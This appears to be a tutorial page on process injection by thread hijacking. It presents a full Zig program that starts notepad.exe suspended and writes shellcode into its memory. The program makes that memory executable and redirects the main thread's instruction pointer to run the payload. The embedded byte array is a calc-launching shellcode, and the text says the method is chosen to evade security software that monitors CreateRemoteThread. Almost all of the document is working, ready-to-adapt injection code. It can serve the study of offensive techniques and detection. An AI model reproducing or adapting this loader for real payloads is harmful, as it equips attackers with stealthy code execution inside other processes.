Remote Thread Creation
TL;DR
Remote thread creation in this context refers to injecting shellcode into a thread of a remote process. Rather than creating a new thread with CreateRemoteThread
, this technique creates a suspended remote process using CreateProcessA
with CREATE_SUSPENDED
, then uses GetThreadContext
, SetThreadContext
, and ResumeThread
to hijack and redirect execution of its main thread to injected shellcode. This method is stealthier than traditional remote thread creation because it avoids APIs typically monitored by security software (CreateRemoteThread
in this case).
Code Walkthrough
main.zig
const std = @import("std");
const windows = std.os.windows;
const print = std.debug.print;
// Windows API types
const HANDLE = windows.HANDLE;
const DWORD = windows.DWORD;
const BOOL = windows.BOOL;
const PVOID = windows.PVOID;
const LPVOID = windows.LPVOID;
const LPCVOID = windows.LPCVOID;
const LPCSTR = windows.LPCSTR;
const LPSTR = windows.LPSTR;
const CHAR = windows.CHAR;
const PBYTE = [*]u8;
const SIZE_T = windows.SIZE_T;
const WINAPI = windows.WINAPI;
const PROCESS_INFORMATION = windows.PROCESS_INFORMATION;
// Constants
const MAX_PATH: DWORD = 260;
const TARGET_PROCESS = "notepad.exe";
// Memory protection constants
const PAGE_READWRITE: DWORD = windows.PAGE_READWRITE;
const PAGE_EXECUTE_READWRITE: DWORD = windows.PAGE_EXECUTE_READWRITE;
const MEM_COMMIT: DWORD = windows.MEM_COMMIT;
const MEM_RESERVE: DWORD = windows.MEM_RESERVE;
// Process/Thread creation constants
const CREATE_SUSPENDED: DWORD = 0x00000004;
const INFINITE: DWORD = 0xFFFFFFFF;
// Context flags - exact values from Windows SDK
const CONTEXT_i386: DWORD = 0x00010000;
const CONTEXT_AMD64: DWORD = 0x00100000;
const CONTEXT_CONTROL: DWORD = CONTEXT_AMD64 | 0x00000001;
const CONTEXT_INTEGER: DWORD = CONTEXT_AMD64 | 0x00000002;
const CONTEXT_SEGMENTS: DWORD = CONTEXT_AMD64 | 0x00000004;
const CONTEXT_FLOATING_POINT: DWORD = CONTEXT_AMD64 | 0x00000008;
const CONTEXT_DEBUG_REGISTERS: DWORD = CONTEXT_AMD64 | 0x00000010;
const CONTEXT_FULL: DWORD = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_FLOATING_POINT;
const CONTEXT_ALL: DWORD = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS;
// Exact Windows x64 CONTEXT structure with proper alignment
const CONTEXT = extern struct {
// Register parameter home addresses (reserved for debugger use)
P1Home: u64,
P2Home: u64,
P3Home: u64,
P4Home: u64,
P5Home: u64,
P6Home: u64,
// Control flags
ContextFlags: DWORD,
MxCsr: DWORD,
// Segment registers and processor flags
SegCs: u16,
SegDs: u16,
SegEs: u16,
SegFs: u16,
SegGs: u16,
SegSs: u16,
EFlags: DWORD,
// Debug registers
Dr0: u64,
Dr1: u64,
Dr2: u64,
Dr3: u64,
Dr6: u64,
Dr7: u64,
// Integer registers
Rax: u64,
Rcx: u64,
Rdx: u64,
Rbx: u64,
Rsp: u64,
Rbp: u64,
Rsi: u64,
Rdi: u64,
R8: u64,
R9: u64,
R10: u64,
R11: u64,
R12: u64,
R13: u64,
R14: u64,
R15: u64,
// Program counter
Rip: u64,
// Floating point state
FltSave: [512]u8, // XMM_SAVE_AREA32
// Vector registers
VectorRegister: [26][16]u8,
VectorControl: u64,
// Special debug control registers
DebugControl: u64,
LastBranchToRip: u64,
LastBranchFromRip: u64,
LastExceptionToRip: u64,
LastExceptionFromRip: u64,
};
// STARTUPINFO structure for CreateProcess
const STARTUPINFOA = extern struct {
cb: DWORD,
lpReserved: ?LPSTR,
lpDesktop: ?LPSTR,
lpTitle: ?LPSTR,
dwX: DWORD,
dwY: DWORD,
dwXSize: DWORD,
dwYSize: DWORD,
dwXCountChars: DWORD,
dwYCountChars: DWORD,
dwFillAttribute: DWORD,
dwFlags: DWORD,
wShowWindow: u16,
cbReserved2: u16,
lpReserved2: ?*u8,
hStdInput: HANDLE,
hStdOutput: HANDLE,
hStdError: HANDLE,
};
// External function declarations
extern "kernel32" fn GetEnvironmentVariableA(
lpName: LPCSTR,
lpBuffer: LPSTR,
nSize: DWORD,
) callconv(WINAPI) DWORD;
extern "kernel32" fn CreateProcessA(
lpApplicationName: ?LPCSTR,
lpCommandLine: ?LPSTR,
lpProcessAttributes: ?*anyopaque,
lpThreadAttributes: ?*anyopaque,
bInheritHandles: BOOL,
dwCreationFlags: DWORD,
lpEnvironment: ?*anyopaque,
lpCurrentDirectory: ?LPCSTR,
lpStartupInfo: *STARTUPINFOA,
lpProcessInformation: *PROCESS_INFORMATION,
) callconv(WINAPI) BOOL;
extern "kernel32" fn VirtualAllocEx(
hProcess: HANDLE,
lpAddress: ?LPVOID,
dwSize: SIZE_T,
flAllocationType: DWORD,
flProtect: DWORD,
) callconv(WINAPI) ?LPVOID;
extern "kernel32" fn WriteProcessMemory(
hProcess: HANDLE,
lpBaseAddress: LPVOID,
lpBuffer: LPCVOID,
nSize: SIZE_T,
lpNumberOfBytesWritten: ?*SIZE_T,
) callconv(WINAPI) BOOL;
extern "kernel32" fn VirtualProtectEx(
hProcess: HANDLE,
lpAddress: LPVOID,
dwSize: SIZE_T,
flNewProtect: DWORD,
lpflOldProtect: *DWORD,
) callconv(WINAPI) BOOL;
extern "kernel32" fn GetThreadContext(
hThread: HANDLE,
lpContext: *CONTEXT,
) callconv(WINAPI) BOOL;
extern "kernel32" fn SetThreadContext(
hThread: HANDLE,
lpContext: *const CONTEXT,
) callconv(WINAPI) BOOL;
extern "kernel32" fn ResumeThread(hThread: HANDLE) callconv(WINAPI) DWORD;
extern "kernel32" fn WaitForSingleObject(hHandle: HANDLE, dwMilliseconds: DWORD) callconv(WINAPI) DWORD;
extern "kernel32" fn CloseHandle(hObject: HANDLE) callconv(WINAPI) BOOL;
extern "kernel32" fn GetLastError() callconv(WINAPI) DWORD;
// Payload - same calc shellcode
const calc_payload = [_]u8{ 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00 };
// Wait for user input
fn waitForEnter(message: []const u8) void {
print("{s}", .{message});
var buffer: [256]u8 = undefined;
_ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}
// Create suspended process function
fn createSuspendedProcess(lpProcessName: LPCSTR, dwProcessId: *DWORD, hProcess: *HANDLE, hThread: *HANDLE) bool {
var lpPath: [MAX_PATH * 2]CHAR = undefined;
var WnDr: [MAX_PATH]CHAR = undefined;
var Si = std.mem.zeroes(STARTUPINFOA);
var Pi = std.mem.zeroes(PROCESS_INFORMATION);
Si.cb = @sizeOf(STARTUPINFOA);
if (GetEnvironmentVariableA("WINDIR", @ptrCast(&WnDr), MAX_PATH) == 0) {
print("[!] GetEnvironmentVariableA Failed With Error : {d}\n", .{GetLastError()});
return false;
}
const windir_len = std.mem.indexOfScalar(u8, &WnDr, 0) orelse WnDr.len;
const result = std.fmt.bufPrint(&lpPath, "{s}\\System32\\{s}", .{ WnDr[0..windir_len], lpProcessName }) catch {
print("[!] Failed to format path\n", .{});
return false;
};
lpPath[result.len] = 0;
print("\n\t[i] Running : \"{s}\"...", .{result});
if (CreateProcessA(null, @ptrCast(&lpPath), null, null, 0, CREATE_SUSPENDED, null, null, &Si, &Pi) == 0) {
print("[!] CreateProcessA Failed with Error : {d}\n", .{GetLastError()});
return false;
}
dwProcessId.* = Pi.dwProcessId;
hProcess.* = Pi.hProcess;
hThread.* = Pi.hThread;
if (dwProcessId.* != 0) {
return true;
}
return false;
}
// Inject shellcode into remote process
fn injectShellcodeToRemoteProcess(hProcess: HANDLE, pShellcode: []const u8, ppAddress: *PVOID) bool {
var sNumberOfBytesWritten: SIZE_T = 0;
var dwOldProtection: DWORD = 0;
const payload_size: SIZE_T = pShellcode.len;
const allocated_memory = VirtualAllocEx(hProcess, null, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (allocated_memory == null) {
print("\n\t[!] VirtualAllocEx Failed With Error : {d}\n", .{GetLastError()});
return false;
}
ppAddress.* = allocated_memory.?;
print("\n\t[i] Allocated Memory At : 0x{X}\n", .{@intFromPtr(ppAddress.*)});
waitForEnter("\t[#] Press <Enter> To Write Payload ... ");
if (WriteProcessMemory(hProcess, ppAddress.*, pShellcode.ptr, payload_size, &sNumberOfBytesWritten) == 0 or (sNumberOfBytesWritten != payload_size)) {
print("\n\t[!] WriteProcessMemory Failed With Error : {d}\n", .{GetLastError()});
return false;
}
print("\t[i] Successfully Written {d} Bytes\n", .{sNumberOfBytesWritten});
if (VirtualProtectEx(hProcess, @ptrCast(ppAddress.*), payload_size, PAGE_EXECUTE_READWRITE, &dwOldProtection) == 0) {
print("\n\t[!] VirtualProtectEx Failed With Error : {d}\n", .{GetLastError()});
return false;
}
return true;
}
// Remote thread hijacking function - debug version
fn runViaRemoteThreadHijacking(hThread: HANDLE, pAddress: PVOID) bool {
// Print structure size for debugging
print("\n\t[DEBUG] CONTEXT structure size: {d} bytes\n", .{@sizeOf(CONTEXT)});
// Initialize context with proper flags
var ThreadCtx = std.mem.zeroes(CONTEXT);
ThreadCtx.ContextFlags = CONTEXT_FULL; // Try CONTEXT_FULL instead of CONTEXT_CONTROL
print("\t[DEBUG] ContextFlags set to: 0x{X}\n", .{ThreadCtx.ContextFlags});
// Getting the original thread context
if (GetThreadContext(hThread, &ThreadCtx) == 0) {
print("\n\t[!] GetThreadContext Failed With Error : {d}\n", .{GetLastError()});
print("\t[DEBUG] CONTEXT size: {d}, expected Windows x64 size should be around 1232\n", .{@sizeOf(CONTEXT)});
return false;
}
print("\t[DEBUG] GetThreadContext succeeded!\n", .{});
print("\t[DEBUG] Original RIP: 0x{X}\n", .{ThreadCtx.Rip});
// Updating the next instruction pointer to be equal to the payload's address
ThreadCtx.Rip = @intFromPtr(pAddress);
print("\t[DEBUG] New RIP set to: 0x{X}\n", .{ThreadCtx.Rip});
// Setting the new updated thread context
if (SetThreadContext(hThread, &ThreadCtx) == 0) {
print("\n\t[!] SetThreadContext Failed With Error : {d}\n", .{GetLastError()});
return false;
}
print("\t[DEBUG] SetThreadContext succeeded!\n", .{});
waitForEnter("[#] Press <Enter> To Run The Payload ... ");
// Resuming suspended thread, so that it runs our shellcode
_ = ResumeThread(hThread);
// Wait for the thread to complete
_ = WaitForSingleObject(hThread, INFINITE);
return true;
}
// Main function
pub fn main() !void {
var hProcess: HANDLE = undefined;
var hThread: HANDLE = undefined;
var dwProcessId: DWORD = undefined;
var pAddress: PVOID = undefined;
print("[i] Creating '{s}' Process... ", .{TARGET_PROCESS});
// We create the "notepad.exe" process for injection
if (!createSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
return;
}
print("\n\t[i] Target Process Created With Pid : {d}\n", .{dwProcessId});
print("[+] DONE \n\n", .{});
print("[i] Writing Shellcode To The Target Process... ", .{});
if (!injectShellcodeToRemoteProcess(hProcess, &calc_payload, &pAddress)) {
return;
}
print("[+] DONE \n\n", .{});
print("[i] Hijacking The Target Thread To Run Our Shellcode... ", .{});
if (!runViaRemoteThreadHijacking(hThread, pAddress)) {
return;
}
print("[+] DONE \n\n", .{});
waitForEnter("[#] Press <Enter> To Quit ... ");
// Cleanup
_ = CloseHandle(hProcess);
_ = CloseHandle(hThread);
}